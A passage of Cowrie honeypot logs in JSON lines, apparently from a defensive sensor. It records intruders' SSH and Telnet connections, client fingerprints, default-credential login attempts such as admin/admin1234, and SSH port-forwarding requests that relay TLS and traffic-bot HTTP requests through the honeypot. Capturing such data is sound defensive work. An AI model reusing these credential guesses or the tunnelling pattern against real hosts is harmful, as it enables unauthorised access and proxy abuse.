00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf7\\xf1\\xa8\\xca\\x04\\x135_}\\x10~@\\xe1d\\xe0\\xd8\\xcd\\xa2\\x17a\\xc9nSD1\\xbe\\x8e O\\xb0\\x9d\\xa3 \\xb0\\xe4\\xed\\xd63FW\\xf5\\x81\\x06'\\x81\\x03\\xc0\\xfb\\xe2]\\x7f\\x81]\\xaa5\\x00\\x925\\x9cOQB\\xacT\\x91\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 k\\x02\\xe8)\\xe0+{7\\xac\\x9c\\x1d\\xcf\\x1f\\x90\\xe5\\xaa\\xf0\\x85\\x9b\\xbd\\xe9\\xa0\\xa7\\x1ci\\xfa\\xc4\\x11\\xdd\\x90\\xb8\\x04\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:22.292474Z","src_ip":"123.27.168.40","session":"49a9595691b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:22.744390Z","session":"49a9595691b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:22.973584Z","src_ip":"123.27.168.40","session":"49a9595691b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03^\\'\\xd2\\x9f=\\xb0\\t\\xa0L\\xdb\\r\\x98\\x14\\x01\\x01\\xed\\xabK\\x94\\x14\\xf3\\x94\\x857\\x04A7\\xef\\xbakB\\xed }.\\xf2\\x95\\x15\\x10\\x86\\\\\\xf4\\x11\\x8d\\x95\\xea\\xa5\\xd25\\xe7J\\x0b>\\xe8H\\x87\\x9d\\x15\\xfe\\x0b!\\t\\x08\\xa9\\x7f\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc8;\\x1c\\xc5=\\x93\\x92g\\x7f\\xd6\\x98\\xa1\\xbc%\\xeb\\xc0~`w\\xe1\\xab\\x11\\xfb\\xf3\\xfa\\xaa\\xed\\x7f\\x0cR66\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03^\\'\\xd2\\x9f=\\xb0\\t\\xa0L\\xdb\\r\\x98\\x14\\x01\\x01\\xed\\xabK\\x94\\x14\\xf3\\x94\\x857\\x04A7\\xef\\xbakB\\xed }.\\xf2\\x95\\x15\\x10\\x86\\\\\\xf4\\x11\\x8d\\x95\\xea\\xa5\\xd25\\xe7J\\x0b>\\xe8H\\x87\\x9d\\x15\\xfe\\x0b!\\t\\x08\\xa9\\x7f\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc8;\\x1c\\xc5=\\x93\\x92g\\x7f\\xd6\\x98\\xa1\\xbc%\\xeb\\xc0~`w\\xe1\\xab\\x11\\xfb\\xf3\\xfa\\xaa\\xed\\x7f\\x0cR66\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:22.976667Z","src_ip":"123.27.168.40","session":"49a9595691b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:23.345699Z","src_ip":"123.27.168.40","session":"49a9595691b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.58438444137573,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:27.701064Z","src_ip":"172.81.62.90","session":"5c3be8295c78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.90017318725586,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:35.177788Z","src_ip":"172.81.62.90","session":"47996cc8831f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53158,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c4172d23373","protocol":"telnet","message":"New connection: 128.199.8.54:53158 (159.203.135.109:23) [session: 3c4172d23373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:02.210238Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":19317,"dst_ip":"159.203.135.109","dst_port":22,"session":"c29ced223674","protocol":"ssh","message":"New connection: 49.247.37.22:19317 (159.203.135.109:22) [session: c29ced223674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:05.011718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:05.022211Z","src_ip":"49.247.37.22","session":"c29ced223674","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:05.223800Z","src_ip":"49.247.37.22","session":"c29ced223674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":64437,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca5a3d0b6685","protocol":"ssh","message":"New connection: 113.164.152.20:64437 (10.17.0.5:22) [session: ca5a3d0b6685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:05.235511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:05.250522Z","src_ip":"113.164.152.20","session":"ca5a3d0b6685","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:05.545173Z","src_ip":"113.164.152.20","session":"ca5a3d0b6685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sai","password":"sai@123","message":"login attempt [sai/sai@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:06.049608Z","src_ip":"49.247.37.22","session":"c29ced223674","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:06.744111Z","src_ip":"113.164.152.20","session":"ca5a3d0b6685","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:07.136745Z","session":"ca5a3d0b6685","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:07.235482Z","session":"ca5a3d0b6685","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:07.263939Z","src_ip":"49.247.37.22","session":"c29ced223674","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:07.727417Z","src_ip":"113.164.152.20","session":"ca5a3d0b6685","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.5 Mobile/16H20 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TW1qJHU%2BaTlEIzhCQUptQg%3D%3DtB8qkM2KE5uC0dl9vaotwiUftBxdP9Wqa60TPg5ZMjJITXo1Wd5zRUEkUmT425ZPqYTpONoIE1c4zk2GgzNU%2FS%2BJ%2B58IEw2H6ommJx%2FDI7%2BPQPkjItjHxspB91icgnz33STCqT3XP%2BXHH50baoZUJq6n9vNWX87Sylo%2FeUdrUO4GCfa74gJdT9KcWG1%2FvpoB%2Bf49xc4%2B6V0CjHCJz4OHaO3irlLRwuVWH%2F%2Be1Nvt4lLQygWavJZEPQnb0HqS%2B03vr2ZxxyLhekPuE7hs4WVrhvlt0OY8qpGjd%2BxPKmLq7lWYPoWjX5lWUE1LtEsmfzrRMGEVHW5A1ozGzuxMQXkFDNPAen5jOeMNcszNWa3d3KvXO4Ez7gVm51cyw0B0cyspC%2Fbpq5CuHTmbEYbXftJANiqhbt%2FqMeHkPpfn7R6AeauFY670Pbwar5voVbUdsi6MULFc5F1Eh%2Bqp83hSPIORm5dVziwvr%2FxfqkzhPLPeZR67nUM1q6ZqzFzR2lEmzoG27xRcIP6sx%2BnARLmhHz4LLL9r3lPCTtRGEoUG7ceUxn32H8GHCLJOktJpIjrAvA5AHMERKKbWjB24np8GtDtvXB4NElV1j9XQ39DzMcP4oQ%2Fc9jNqoq9Qqf6M6KPZ4wJF6911uXkBBS%2FADovLOnNiUaUIaO8g7Z%2FnYxHWZg4tiYD87T2dc8w9I%2BjJzihi%2BEYE4dIfm7%2BT21nTSW%2F3oZ8bPoikXMNLhowXvr2mtawxUve%2FdoCECVSqIiSdabBKoA2ygLrmekNcBi3Inq43MHN3Eu1F9n6ZY61daIQhd5wKHQN7SMc6vqwvwoc1mP4Vk2AU4VVFVzfh0ySLhrhC6OEVC8N%2FNYVcOBzlaWye2d8BKcg4a53ywKdNfIWnoV6HQ384lmh8CaG07GhKZlsXOr5SWR2yae%2FoZovZCTzQRbDG2IR5DQrUi2YWulUpCXMB82WG7Dz9lpFZ%2BidhJIesqjc%2BwFyjeVkgTykTrd0oU27f3YK7gSyPBQV2WX7ESYG4M1BM4erS7XlrKxhYJehewRUX6lixbtu1P9EsO8g%2FROEGeNo7ZNUnUxqpfIKNWRHrlyqo'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.5 Mobile/16H20 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TW1qJHU%2BaTlEIzhCQUptQg%3D%3DtB8qkM2KE5uC0dl9vaotwiUftBxdP9Wqa60TPg5ZMjJITXo1Wd5zRUEkUmT425ZPqYTpONoIE1c4zk2GgzNU%2FS%2BJ%2B58IEw2H6ommJx%2FDI7%2BPQPkjItjHxspB91icgnz33STCqT3XP%2BXHH50baoZUJq6n9vNWX87Sylo%2FeUdrUO4GCfa74gJdT9KcWG1%2FvpoB%2Bf49xc4%2B6V0CjHCJz4OHaO3irlLRwuVWH%2F%2Be1Nvt4lLQygWavJZEPQnb0HqS%2B03vr2ZxxyLhekPuE7hs4WVrhvlt0OY8qpGjd%2BxPKmLq7lWYPoWjX5lWUE1LtEsmfzrRMGEVHW5A1ozGzuxMQXkFDNPAen5jOeMNcszNWa3d3KvXO4Ez7gVm51cyw0B0cyspC%2Fbpq5CuHTmbEYbXftJANiqhbt%2FqMeHkPpfn7R6AeauFY670Pbwar5voVbUdsi6MULFc5F1Eh%2Bqp83hSPIORm5dVziwvr%2FxfqkzhPLPeZR67nUM1q6ZqzFzR2lEmzoG27xRcIP6sx%2BnARLmhHz4LLL9r3lPCTtRGEoUG7ceUxn32H8GHCLJOktJpIjrAvA5AHMERKKbWjB24np8GtDtvXB4NElV1j9XQ39DzMcP4oQ%2Fc9jNqoq9Qqf6M6KPZ4wJF6911uXkBBS%2FADovLOnNiUaUIaO8g7Z%2FnYxHWZg4tiYD87T2dc8w9I%2BjJzihi%2BEYE4dIfm7%2BT21nTSW%2F3oZ8bPoikXMNLhowXvr2mtawxUve%2FdoCECVSqIiSdabBKoA2ygLrmekNcBi3Inq43MHN3Eu1F9n6ZY61daIQhd5wKHQN7SMc6vqwvwoc1mP4Vk2AU4VVFVzfh0ySLhrhC6OEVC8N%2FNYVcOBzlaWye2d8BKcg4a53ywKdNfIWnoV6HQ384lmh8CaG07GhKZlsXOr5SWR2yae%2FoZovZCTzQRbDG2IR5DQrUi2YWulUpCXMB82WG7Dz9lpFZ%2BidhJIesqjc%2BwFyjeVkgTykTrd0oU27f3YK7gSyPBQV2WX7ESYG4M1BM4erS7XlrKxhYJehewRUX6lixbtu1P9EsO8g%2FROEGeNo7ZNUnUxqpfIKNWRHrlyqo'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:07.730956Z","src_ip":"113.164.152.20","session":"ca5a3d0b6685","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:07.735233Z","src_ip":"113.164.152.20","session":"ca5a3d0b6685","protocol":"ssh"}
